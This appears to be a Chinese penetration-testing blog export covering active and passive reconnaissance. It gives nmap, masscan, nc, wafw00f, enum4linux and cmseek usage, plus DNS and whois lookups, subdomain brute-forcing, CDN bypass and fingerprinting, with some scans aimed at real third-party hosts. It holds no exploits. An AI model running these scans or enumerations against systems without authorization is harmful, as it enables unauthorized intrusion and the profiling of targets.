网络时,TCP 扫描默认使用 TCP Connect() 扫描 -sU: UDP 扫描 -P <port ranges> 只扫描指定的端口:该选项指明你想扫描的端口,覆盖默认值。单个端口加上连字符表示端口范围(如 1-1023)也可以。 -p-:全端口扫描 服务和版本探测 -sV: 打开版本探测。也可以用-A同时打开操作系统探测和版本探测。 --allports 不排除端口:默认情况下,Nmap 版本探测会跳过 TCP 端口 9100 操作系统探测 -O 启用操作系统检测.也可以使用-A来同时启用操作系统检测和版本检测 输出 -oN <filespec>:要求将标准输出直接写入指定的文件。如上所述,这个格式与交互式输出略有不同。 -oX <filespec>:要求 XML 输出直接写入指定的文件 -oA <basename>: 输出至所有格式 --append-output: 在输出文件中添加:当使用文件作为输出格式,如-oX或-oN,默认该文件被覆盖。如果希望文件保留现有内容,将结果添加在现有文件后面,就使用--append-output选项。所有指定的输出文件都被添加。但对于XML(-oX)扫描输出文件无效,无法正常解析,需要手工修改 激进扫描模式 -A:这个选项启用额外的高级和高强度选项,目前还未确定代表 的内容。目前,这个选项启用了操作系统检测(-O)和版本扫描(-sV),以后会增加更多的功能。目的是启用一个全面的扫描选项集合,不需要用户记忆大量的选项。这个选项仅仅启用功能,不包含用于可能所需要的时间选项(如 -T4)或细节选项(-v) 12345678910111213141516# nmap 扫描ip所开放的端口nmap -sT -sV -Pn -v 192.168.1.12 -p-# 参数:# -p- 表示全端口 计算机共有端口65535个# -sT 表示扫描用的是Tcp扫描# -sV 表示显示服务版本号# -Pn 应当表示被扫描的机器与你本机的三次握手# -v 表示详细信息nmap -p80 [域名] 对某个端口进行探测nmap -p80,135 [域名] 对某几个端口进行探测nmap -p1-100 [域名] 对某个端口范围进行探测nmap -p- [域名] 对所有端口范围进行探测nmap -p T:25,U:53 [域名] 指定协议探测端口nmap -p smtp [域名] 通过协议名来扫描端口nmap -p s* [域名] 通过名称范围扫描nmap -p [1-65535] [域名] 扫描注册在nmap中的端口 使用nmap进行半连接扫描nmap扫描类型主要有TCP的全连接扫描(会在被扫描机器留下记录),半连接扫描(不会留下记录) 12345678910111213141516┌──(root㉿kali)-[/home]└─# nmap -sS 154.40.42.101 -p80,443,9090,8080 Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-05 13:49 CSTNmap scan report for 154.40.42.101Host is up (0.19s latency).PORT STATE SERVICE80/tcp open http443/tcp filtered https8080/tcp open http-proxy9090/tcp open zeus-adminNmap done: 1 IP address (1 host up) scanned in 1.48 seconds# 参数:# -sS 表示使用SYN进行半连接扫描 masscan masscan是为了尽可能快速的扫描整个互联网而创建的,根据其作者robert graham描述可以不到6分钟内完成每秒大约1000万个数据包 基本使用123456789101112131415161718192021222324252627282930# 单端口扫描masscan 10.10.10.0/24 -p443# 多端口扫描masscan 10.10.10.0/24 -p80,443# 扫描一系列端口masscan 10.10.10.0/24 -p22-25# 快速扫描# 默认情况下,masscan扫描的速度为每秒100个数据包,为了增加这一点,只需提供该-rate选项并指定一个值masscan 10.10.10.0/24 --top-ports 100 --rate 100000# 排除目标# 为了更好的,愉快的玩耍,必要时要对扫描目标进行排除masscan 10.10.10.0/24 --top-ports 100 --excludefile exclude.txt# 保存扫描结果# 可以使用标准的unix重定向器将扫描结果输入到一个文件中masscan 10.10.10.0/24 --top-ports 100 > result.txt# 支持的输出格式# -oX filename : 将扫描结果保存到xml格式的文件中# -oG filename : 将扫描结果保存到grepable格式的文件中# -oJ filename : 将扫描结果保存到json格式的文件中# 获取Bannermasscan 10.10.10.0/24 -p80 --banners --source-ip x.x.x.x# 扫描10.10.10.x网段80端口的开放信息,并且获取banner信息 –source-ip 是指定源IP,这个ip必须指定独立有效的IP地址。 命令行模式详细参数以下为扩展内容 123456789101112131415161718192021222324252627282930<ip/range> IP地址范围,有三种有效格式,1、单独的IPv4地址 2、类似"10.0.0.1-10.0.0.233"的范围地址 3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开-p <ports,--ports <ports>> 指定端口进行扫描--banners 获取banner信息,支持少量的协议--rate <packets-per-second> 指定发包的速率-c <filename>, --conf <filename> 读取配置文件进行扫描--echo 将当前的配置重定向到一个配置文件中-e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称--adapter-ip <ip-address> 指定发包的IP地址--adapter-port <port> 指定发包的源端口--adapter-mac <mac-address> 指定发包的源MAC地址--router-mac <mac address> 指定网关的MAC地址--exclude <ip/range> IP地址范围黑名单,防止masscan扫描--excludefile <filename> 指定IP地址范围黑名单文件--includefile,-iL <filename> 读取一个范围列表进行扫描--ping 扫描应该包含ICMP回应请求--append-output 以附加的形式输出到文件--iflist 列出可用的网络接口,然后退出--retries 发送重试的次数,以1秒为间隔--nmap 打印与nmap兼容的相关信息--http-user-agent <user-agent> 设置user-agent字段的值--show [open,close] 告诉要显示的端口状态,默认是显示开放端口--noshow [open,close] 禁用端口状态显示--pcap <filename> 将接收到的数据包以libpcap格式存储--regress 运行回归测试,测试扫描器是否正常运行--ttl <num> 指定传出数据包的TTL值,默认为255--wait <seconds> 指定发送完包之后的等待时间,默认为10秒--offline 没有实际的发包,主要用来测试开销-sL 不执行扫描,主要是生成一个随机地址列表--readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式.--connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。 nc nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具 作用 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 端口的扫描,nc可以作为client发起TCP或UDP连接 机器之间传输文件 机器之间网络测速 参数123456789101112131415161718# -n 直接使用IP地址,而不通过域名服务器# -v 显示指令执行过程# -w 表示超时时间# -z 表示使用输入/输出模式,只在扫描通信端口时使用┌──(root㉿kali)-[/home]└─# nc -nv -w 1 -z 154.40.42.101 80-90 (UNKNOWN) [154.40.42.101] 90 (?) : No route to host(UNKNOWN) [154.40.42.101] 89 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 88 (kerberos) : No route to host(UNKNOWN) [154.40.42.101] 87 (?) : No route to host(UNKNOWN) [154.40.42.101] 86 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 85 (?) : No route to host(UNKNOWN) [154.40.42.101] 84 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 83 (?) : No route to host(UNKNOWN) [154.40.42.101] 82 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 81 (?) : No route to host(UNKNOWN) [154.40.42.101] 80 (http) open wafw00f Web应用防护系统(也称为:网站应用级入侵防御系统)。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 在KaliLinux中提供了一款防火墙探测工具“wafw00f”,这个工具可以通过发送正常以及不正常甚至是包含恶意代码的HTTP请求,来探测网站是否存在防火墙,并识别该防火墙的厂商及类型。 wafw00f常用指令12345678910111213141516171819202122232425┌──(root㉿kali)-[/opt/TOP10]└─# wafw00f -hUsage: wafw00f url1 [url2 [url3 ... ]]example: wafw00f http://www.victim.org/用法:wafw00f url1 [url2 [url3 ... ]]示例:wafw00f http://www.victim.org/选项:-h, --help 显示帮助信息并退出-v, --verbose 启用详细模式,多个-v选项增加详细程度-a, --findall 查找与签名匹配的所有WAF,不在第一个匹配上停止测试-r, --noredirect 不跟随3xx响应的重定向-t TEST, --test=TEST 测试特定的WAF-o OUTPUT, --output=OUTPUT将输出写入csv、json或文本文件中,具体格式取决于文件扩展名。对于标准输出,请指定-作为文件名。-f FORMAT, --format=FORMAT强制输出格式为csv、json或文本。-i INPUT, --input-file=INPUT从文件中读取目标。输入格式可以是csv、json或文本。对于csv和json,需要一个“url”列名或元素。-l, --list 列出WAFW00F能够检测到的所有WAF-p PROXY, --proxy=PROXY使用HTTP代理执行请求,例如:http://hostname:8080,socks5://hostname:1080,http://user:pass@hostname:8080-V, --version 打印当前版本的WafW00f并退出。-H HEADERS, --headers=HEADERS 通过文本文件传递自定义标头,以覆盖默认的标头设置。 测试单个 URL123456789101112131415161718192021┌──(root㉿kali)-[/opt/TOP10]└─# wafw00f https://icp.chinaz.com/ ______ / \\ ( Woof! ) \\ ____/ ) ,, ) (_ .-. - _______ ( |__| ()``; |==|_______) .)|__| / (' /|\\ ( |__| ( / ) / | \\ . |__| \\(_)_)) / | \\ |__| ~ WAFW00F : v2.2.0 ~ The Web Application Firewall Fingerprinting Toolkit [*] Checking https://icp.chinaz.com/[+] Generic Detection results:[-] No WAF detected by the generic detection[~] Number of requests: 7 常见的waf拦截页面(83个国内外WAF)https://github.com/stamparm/identYwaf/tree/master/screenshotshttps://github.com/stamparm/identYwaf/tree/master/screenshots enum4linuxenum4linux介绍 Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。 工具的用法可以在下面找到例子,以前版本的工具可以在页面底部找到。 dnstracer用于获取给定主机名从给定域名服务器(DNS)的信息,并跟随DNS服务器链得到权威结果。 主要特性: RID循环(当Windows 2000上的RestrictAnonymous设置为1时) 用户列表(当Windows 2000上的RestrictAnonymous设置为0时) 组成员信息列表 共享枚举 检测主机是否在工作组或域中 识别远程操作系统 密码策略检索(使用polenum) enum4linux功能123456789101112131415161718192021222324252627282930313233343536┌──(root㉿kali)-[/opt/TOP10]└─# enum4linux -h enum4linux v0.9.1 (http://labs.portcullis.co.uk/application/enum4linux/)Copyright (C) 2011 Mark Lowe (mrl@portcullis-security.com)简单的封装了在samba包中的工具,以提供类似的enum.exe功能(以前从www.bindview.com)。 为了方便起见,还增加了一些附加功能,例如RID循环。用法: ./enum4linux.pl [选项] ip地址枚举选项: -U 获取用户列表 -M 获取机器列表* -S 获取共享列表 -P 获取密码策略信息 -G 获取组和成员列表 -d 详述适用于-U和-S -u user 用户指定要使用的用户名(默认"") -p pass 指定要使用的密码(默认为"")以下选项是enum.exe未实现的: -L, -N, -D, -f其他选项: -a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项 -h 显示此帮助消息并退出 -r 通过RID循环枚举用户 -R range RID范围要枚举(默认值:500-550,1000-1050,隐含-r) -K n 继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用 -l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN) -s 文件暴力猜测共享名称 -k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none) 用于获取sid与“lookupsid known_username” 使用逗号尝试几个用户:“-k admin,user1,user2” -o 获取操作系统信息 -i 获取打印机信息 -w wrkg 手动指定工作组(通常自动找到) -n 做一个nmblookup(类似于nbtstat) -v 详细输出,显示正在运行的完整命令(net,rpcclient等)RID循环应从Windows(或Samba)主机中提取一个用户列表,其中限制匿名设置为1(Windows NT和2000)或启用“网络访问:允许匿名SID /名称转换”(XP,2003)。注意:Samba服务器通常似乎有RID在范围3000-3050。依赖性信息:您将需要安装samba包,因为此脚本基本上只是一个包装rpcclient,net,nmblookup和smbclient。 Polenum从http://labs.portcullis.co.uk/application/polenum/需要获取密码政策信息。 enum4linux用法示例123456789101112131415161718192021222324252627282930313233┌──(root㉿kali)-[/home/]└─$ enum4linux -A 10.10.10.9Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 4 20:29:56 2023 =========================================( Target Information )=========================================Target ........... 10.10.10.9RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =============================( Enumerating Workgroup/Domain on 10.10.10.9 )=============================[+] Got domain/workgroup name: MYGROUP ====================================( Session Check on 10.10.10.9 )====================================[+] Server 10.10.10.9 allows sessions using username '', password '' =================================( Getting domain SID for 10.10.10.9 )=================================Domain Name: MYGROUPDomain Sid: (NULL SID)[+] Can't determine if host is part of domain or part of a workgroupenum4linux complete on Fri Aug 4 20:29:56 2023 CTF-Show WPhttps://www.cnblogs.com/sakura--tears/p/17148300.htmlhttps://www.cnblogs.com/sakura--tears/p/17148300.html","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-被动信息收集","path":"/2024/02/14/dbeaca23/","content":"总字符数: 28.13K 代码: 9.18K, 文本: 6.69K 预计阅读时间: 1.15 小时 信息收集 渗透的本质是信息收集,信息收集又称资产收集信息收集是渗透测试的前期主要工作,是非常重要的环节,收集足够多的信息才能方便接下来的测试,信息收集主要是收集网站的域名信息、子域名信息、目标网站信息、目标网站真实IP、敏感/目录文件、开放端口和中间件信息等等。通过各种渠道和手段尽可能收集到多的关于这个站点的信息,有助于我们更多的去找到渗透点,突破口 信息收集的分类 主动信息收集:通过直接访问、扫描网站,这种流量将流经网站 被动信息收集:利用第三方的服务对目标进行访问了解,如BURP,Google搜索、shodan搜索等 为什么要信息收集?在Web渗透测试中,信息收集是非常重要的一步,它有以下几个关键作用: 了解目标网站或应用程序:通过信息收集,可以获取目标网站或应用程序的基本信息,包括域名、IP地址、服务器类型、备案情况等。这有助于渗透测试人员对目标进行评估和定位,选择适合的攻击路径和策略。 发现系统漏洞和弱点:通过信息收集,可以获取目标网站或应用程序的架构、技术框架、插件组件等,从而了解潜在的漏洞和弱点。例如,在JS文件中可能包含硬编码的敏感信息、API密钥、数据库连接字符串等。了解这些信息可以帮助渗透测试人员找到攻击的切入点。 寻找攻击面和路径:信息收集可以帮助渗透测试人员确定目标系统的攻击面和可能存在的漏洞位置。通过分析目标的网络拓扑、子域名、目录结构、文件权限等,可以确定攻击的方向和路径。例如,通过收集子域名,可以发现其他可能存在漏洞的系统。 风险评估和决策支持:通过信息收集,可以全面了解目标系统的安全状况,并对潜在的风险进行评估。这有助于渗透测试人员制定合理的攻击策略,选择适当的工具和技术,减少不必要的尝试和风险。 在信息收集过程中,可以收集的内容包括但不限于: 域名、IP地址和服务器信息 子域名和相关网站 目标系统的架构、技术框架和组件 目录结构和文件权限 开放端口和服务 系统版本和补丁情况 社交媒体和联系人信息 为了高效地进行信息收集,可以借助一些工具和技术,例如: Whois查询工具:用于查找域名的注册信息和服务器IP地址。 子域名扫描工具:用于自动发现目标网站的子域名。 网络映射工具:用于绘制目标系统的网络拓扑结构。 爬虫工具:用于获取网站的页面、链接和内容。 漏洞扫描器:用于自动发现目标系统的漏洞和弱点。 将信息整合起来,可以帮助渗透测试人员更好地了解目标,制定攻击策略,并在后续的渗透测试过程中根据具体情况进行进一步的信息收集和攻击。 被动信息收集 利用第三方服务对目标进行被动信息收集防止被发现 被动信息收集的目的:通过公开渠道,去获得目标主机的信息,从而不与目标系统直接交互,避免留下痕迹 信息收集内容信息收集的内容取决于渗透测试人员的目标和方法,一般来说,信息收集应包括以下内容: IP地址和域名:确定目标系统的IP地址和域名是信息收集的首要任务。这可以通过DNS解析、Whois查 询、Ping命令等方式进行。 开放端口:了解目标系统上开放的端口和运行的服务是信息收集的重要内容。这可以通过端口扫描工具(如Nmap)进行。 操作系统和应用程序:了解目标系统的操作系统和运行的应用程序是非常重要的,这可以帮助渗透测试人员确定针对目标系统的攻击方法和工具。这可以通过服务识别、Banner Grabbing等方式进行。 漏洞和弱点:寻找目标系统的漏洞和弱点是渗透测试的重点之一,这可以通过漏洞扫描、Web应用程序扫描等方式进行。 目录和文件:寻找目标系统中存在的目录和文件可以帮助渗透测试人员发现系统中可能存在的敏感信息或漏洞。这可以通过目录扫描、文件爆破等方式进行。 社会工程学信息:寻找目标系统相关人员的姓名、职位、联系方式等信息可以帮助渗透测试人员进行社会工程学攻击。这可以通过搜索引擎、社交媒体等方式进行。 网络拓扑:了解目标系统的网络拓扑可以帮助渗透测试人员了解目标系统的结构和环境。这可以通过网络拓扑图、路由表等方式进行。 需要注意的是,在进行信息收集时,渗透测试人员需要确保遵守所有法律和道德规范,不得进行非法或者侵犯隐私的行为。 信息用途信息收集的主要用途是为了帮助渗透测试人员更好地了解目标系统的结构、环境、弱点和潜在风险,从而为 攻击目标制定更加有效的策略和方案。 具体来说,收集到的信息可以用于以下方面: 确定目标系统的弱点和漏洞,从而寻找攻击目标的最佳路径和方式。 了解目标系统的环境和结构,为攻击目标选择最合适的工具和技术。 发现目标系统中可能存在的敏感信息或数据,为后续攻击做好准备。 为渗透测试人员进行社交工程学攻击提供信息基础。 总之,信息收集是渗透测试中不可或缺的环节,收集到的信息将为渗透测试人员提供关键的支持和帮助,有助于攻击目标的成功实施。同时,在收集信息的过程中,渗透测试人员需要注意保护隐私和遵守法律规定, 避免侵犯他人权益。 DNS信息收集ping可以快速的将域名解析为IP地址 123456789101112ping www.baidu.comPinging www.baidu.com [180.101.50.188] with 32 bytes of data:Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Ping statistics for 180.101.50.188: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds: Minimum = 34ms, Maximum = 34ms, Average = 34ms 使用nslookup查看域名12345678910nslookup 12306.cnServer: K2.lan # DNS服务器Address: 192.168.2.1 # DNS服务器地址Non-authoritative answer: # 非权威性回答Name: 12306.cn.wsglb0.com # 12306.cn域名的别名Address: 1.71.150.167 # 12306.cn解析出来的IPAliases: 12306.cn 12345678910nslookup www.baidu.comServer: K2.lanAddress: 192.168.2.1Non-authoritative answer:Name: www.baidu.comAddresses: 180.101.50.242 180.101.50.188 DNS信息收集-DIG1234567891011121314151617181920212223242526272829303132# kali下的命令语法:dig [选项] 需要查询的域名@ <DNS服务地址>:指定进行域名解析的域名服务器any #显示所有类型的域名记录。默认只显示A记录# 示例:# dig 12306.cn# dig @8.8.8.8 12306.cn# dig @114.114.114.114 12306.cn any└─# dig 12306.cn ; <<>> DiG 9.18.1-1-Debian <<>> 12306.cn;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1643;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;12306.cn. IN A;; ANSWER SECTION:12306.cn. 7 IN A 1.71.150.167 # 主要看的地方;; Query time: 4 msec;; SERVER: 192.168.2.1#53(192.168.2.1) (UDP);; WHEN: Wed Apr 05 10:08:11 CST 2023;; MSG SIZE rcvd: 53 使用-X参数IP反查域名 1234567891011121314151617181920212223242526272829└─# dig -x 114.114.114.114; <<>> DiG 9.18.1-1-Debian <<>> -x 114.114.114.114;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16186;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4;; QUESTION SECTION:;114.114.114.114.in-addr.arpa. IN PTR;; ANSWER SECTION:114.114.114.114.in-addr.arpa. 300 IN PTR public1.114dns.com. # 看这个;; AUTHORITY SECTION:114.114.114.in-addr.arpa. 41222 IN NS ns100.114dns.com.114.114.114.in-addr.arpa. 41222 IN NS ns100.114dns.net.;; ADDITIONAL SECTION:ns100.114dns.com. 311 IN A 114.114.118.118ns100.114dns.com. 311 IN A 60.215.138.254ns100.114dns.net. 316 IN A 114.114.116.116ns100.114dns.net. 316 IN A 58.217.249.158;; Query time: 4 msec;; SERVER: 192.168.2.1#53(192.168.2.1) (UDP);; WHEN: Wed Apr 05 10:11:01 CST 2023;; MSG SIZE rcvd: 192 whois查询域名注册信息的两种查询方式: Web接口查询 Whois命令查询 通过whois来对域名信息进行查询,可以查到注册商、注册人、邮箱、DNS解析服务器、注册人联系电话等,因为有些网站信息查得到,有些网站信息查不到,所以推荐以下信息比较全的查询网站,直接输入目标站点即可查询到相关信息。 通过Web接口查询https://whois.aliyun.com/https://whois.aliyun.com/ https://whois.cloud.tencent.com/https://whois.cloud.tencent.com/ http://whois.chinaz.com/http://whois.chinaz.com/ https://whois.aizhan.com/https://whois.aizhan.com/ https://whois.cloud.tencent.com/https://whois.cloud.tencent.com/ https://whois.cndns.com/https://whois.cndns.com/ 使用whois查询12345678910111213141516# kali系统└─# whois 12306.cn Domain Name: 12306.cnROID: 20030310s10001s00012731-cnDomain Status: okRegistrant: 中国铁道科学研究院集团有限公司Registrant Contact Email: 13501238352@139.comSponsoring Registrar: 北京中科三方网络技术有限公司Name Server: cns1.zdnscloud.netName Server: dns1.zdnscloud.infoName Server: ins1.zdnscloud.comName Server: vns1.zdnscloud.bizRegistration Time: 2003-03-10 18:50:16Expiration Time: 2029-01-13 14:16:31DNSSEC: unsigned 备案信息查询 网站备案信息是根据国家法律法规规定,由网站所有者向国家有关部门申请的备案,如果需要查询企业备案信息(单位名称、备案编号、网站负责人、电子邮箱、联系电话、法人等) Web接口查询: http://icp.chinaz.com/http://icp.chinaz.com/ https://www.tianyancha.com/https://www.tianyancha.com/ https://icp.aizhan.com/https://icp.aizhan.com/ http://cha.fute.com/indexhttp://cha.fute.com/index https://www.beian88.com/https://www.beian88.com/ http://beian.miit.gov.cn/publish/query/indexFirst.actionhttp://beian.miit.gov.cn/publish/query/indexFirst.action 收集子域名 子域名介绍: 顶级域名是域名的最后一个部分,即是域名最后一点之后的字母,例如在http://example.com 这个域名中,顶级域是.com(或.COM),大小写视为相同。 常见的顶级域主要分2类: 通用顶级类别域名常见的有:用于工商金融企业的.com;用于教育机构的.edu;用于政府部门的.gov; 用于互联网络信息中心和运行中心的.net;用于非盈利组织的.org 国家及地区顶级域,如.cn代表中国,.uk代表英国等,地理顶级域名一般由各个国家或地区负责管理。.jp代表什么? 子域名(Subdomain Name)凡顶级域名前加前缀的都是该顶级域名的子域名,而子域名根据技术的多少分为二级子域名,三级子域名以及多级子域名。 挖掘子域名的重要性 子域名中的常见资产类型一般包括办公系统,邮箱系统,论坛,商城,其他管理系统,网站管理后台也有可能出现子域名中。首先找到目标站点,在官网中可能会找到相关资产(多为办公系统,邮箱系统等),关注一下页面底部,也许有管理后台等收获。 子域名是某个主域的二级域名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。 例如:www.xxxxx.com主域不存在漏洞,并且防护措施严密。而二级域名edu.xxxxx.com存在漏洞,并且防护措施松散。 查询子域名 搜索引擎挖掘 如: 百度 intitle=公司名称 Google intitle=公司名称 第三方网站查询: 站长之家,直接搜索名称或者网站域名即可查看相关信息:http://tool.chinaz.com/ FOFA title=”公司名称” 钟馗之眼 site=域名即可https://www.zoomeye.org/ https://hackertarget.com/find-dns-host-records/ Dns探测https://dnsdumpster.com/ Layer子域名挖掘机 subDomainsBrute Sublist3r OneForAll 1234567git clone https://gitee.com/shmilylty/OneForAll.gitcd OneForAll/python3 -m pip install -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/python3 -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/python3 -m pip install --upgrade exrexpython3 oneforall.py --helppython3 oneforall.py --target didichuxing.com run esd 1234┌──(root㉿kali)-[/home/kali/subdomain/OneForAll]└─# pip install esd -i https://mirrors.aliyun.com/pypi/simple/┌──(root㉿kali)-[/home/kali/subdomain/OneForAll]└─# esd -d didichuxing.com dnsub 123456789101112131415161718192021┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# wget https://github.com/yunxu1/dnsub/releases/download/v2.1/dnsub_linux_386_v2.1.zip┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# unzip dnsub_linux_386_v2.1.zip┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# cd dnsub_linux_amd64_v2.0┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# ./dnsub_linux_amd64 -d didichuxing.com[*] CertSpotter ......... [√][*] NetCraft ......... [√][*] brute ......... [√][*] Censys ......... [×][*] Crtsh ......... [√][*] Baidu ......... [√][*] IP138 ......... [√][*] Fofa ......... [×][*] ZoomEye ......... [×][*] start didichuxing.com subDomainsBrute 12345678910111213141516171819202122232425262728293031323334353637383940┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# python3 -m pip install dnspython==2.2.1 async_timeout -i https://mirrors.aliyun.com/pypi/simple/┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# wget https://github.com/lijiejie/subDomainsBrute/archive/refs/tags/v1.4.zip┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# unzip v1.4.zip┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# cd subDomainsBrute-1.4 ┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# python3 subDomainsBrute.py用法:subDomainsBrute.py [选项] target.com选项:--version 显示程序版本号并退出-h, --help 显示帮助信息并退出-f FILE 包含以换行符分隔的子域名的文件,默认为 subnames.txt。--full 完整扫描,将使用 NAMES FILE subnames_full.txt 进行强制破解-i, --ignore-intranet 忽略指向私有 IP 的域名-w, --wildcard 在通配符测试失败后强制进行扫描-t THREADS, --threads=THREADS扫描线程数量,默认为 500-p PROCESS, --process=PROCESS扫描进程数量,默认为 6--no-https 禁用从 HTTPS 证书获取域名,这可以节省一些时间-o OUTPUT, --output=OUTPUT输出文件名,默认为 {target}.txt┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# python3 subDomainsBrute.py didichuxing.comSubDomainsBrute v1.4 https://github.com/lijiejie/subDomainsBrute[+] Validate DNS servers [+] Server 119.29.29.29 < OK > Found 4 [+] 4 DNS Servers found [+] Run wildcard testany-sub.didichuxing.com 123.207.209.133, 123.207.209.134, 123.207.209.17Use -w to enable force scan wildcard domain 查找真实IP(绕过CDN) 如果目标网站使用了CDN(内容分发网络),使用了cdn真实的ip会被隐藏,如果要查找真实的服务器就必须获取真实的ip,根据这个ip继续查询旁站。注意:很多时候,主站虽然是用了CDN,但子域名可能没有使用CDN,如果主站和子域名在一个ip段中,那么找到子域名的真实ip也是一种途径。 多地Ping http://ping.chinaz.com/ http://ping.aizhan.com/ 查询历史DNS解析记录 https://dnsdumpster.com/ https://dnsdb.io/zh-cn/ https://x.threatbook.cn/ https://tools.ipip.net/cdn.php https://viewdns.info/ https://github.com/bin-maker/BYPASS-CDN/https://github.com/bin-maker/BYPASS-CDN/ 旁站和C段 旁站往往存在业务功能站点,建议先收集已有IP的旁站,再探测C段,确认C段目标后,再在C段的基础上再收集一次旁站。旁站是和已知目标站点在同一服务器但不同端口的站点,通过以下方法搜索到旁站后,先访问一下确定是不是自己需要的站点信息。 http://www.webscan.cc/http://www.webscan.cc/ http://stool.chinaz.com/samehttp://stool.chinaz.com/same https://c.webscan.cchttps://c.webscan.cc https://chapangzhan.com/https://chapangzhan.com/ 网站头信息收集 中间件 : Web服务【Web Servers】 apache iis7 iis7.5 iis8 nginx WebLogic tomcat 网站组件: js组件jquery、vue 页面的布局bootstrap通过浏览器获取 Google And firefox 插件: Wappalyzer wooyun漏洞库 https://wooyun.website 网站注册信息 http://www.reg007.com/ 指纹识别 EHole12345678┌──(root㉿kali)-[/home/kali]└─# wget https://github.com/EdgeSecurityTeam/EHole/releases/download/v3.1/EHole_linux_amd64.zip┌──(root㉿kali)-[/home/kali]└─# unzip EHole_linux_amd64.zip ┌──(root㉿kali)-[/home/kali/EHole_linux_amd64]└─# chmod +x EHole_linux_amd64┌──(root㉿kali)-[/home/kali/EHole_linux_amd64]└─# ./EHole_linux_amd64 finger -l ip.txt cms识别 Google And firefox 插件: Wappalyzer Kali:cmseek 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253┌──(root㉿kali)-[/home/kali/]└─# cmseek -u https://www.xxx.com/ ___ _ _ ____ ____ ____ _ _| |\\/| [__ |___ |___ |_/ by @r3dhax0r|___ | | ___| |___ |___ | \\_ Version 1.1.3 K-RONA [+] Deep Scan Results [+] ┏━Target: www.xxx.com ┃ ┠── CMS: WordPress ┃ │ ┃ ├── Version: 5.6 ┃ ╰── URL: https://wordpress.org ┃ ┠──[WordPress Deepscan] ┃ │ ┃ ├── Readme file found: https://www.xxx.com//readme.html ┃ ├── License file: https://www.xxx.com//license.txt ┃ ├── User registration enabled: https://www.xxx.com//wp-login.php?action=register ┃ │ ┃ ├── Plugins Enumerated: 5 ┃ │ │ ┃ │ ├── Plugin: page-links-to ┃ │ │ │ ┃ │ │ ├── Version: 3.3.4 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/page-links-to ┃ │ │ ┃ │ ├── Plugin: wp-pagenavi ┃ │ │ │ ┃ │ │ ├── Version: 2.70 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/wp-pagenavi ┃ │ │ ┃ │ ├── Plugin: download-manager ┃ │ │ │ ┃ │ │ ├── Version: 5.6 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/download-manager ┃ │ │ ┃ │ ├── Plugin: buddypress ┃ │ │ │ ┃ │ │ ├── Version: 6.3.0 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/buddypress ┃ │ │ ┃ │ ╰── Plugin: mailchimp-for-wp ┃ │ │ ┃ │ ├── Version: 4.8.1 ┃ │ ╰── URL: https://www.xxx.com//wp-content/plugins/mailchimp-for-wp ┃ │ ┃ ┠── Result: /usr/share/cmseek/Result/www.xxx.com/cms.json ┃ ┗━Scan Completed in 29.8 Seconds, using 44 Requests 云悉 http://www.yunsee.cn/ 潮汐指纹 http://finger.tidesec.net/ 御剑cms识别 https://github.com/ldbfpiaoran/cmscan SSL/TLS证书查询 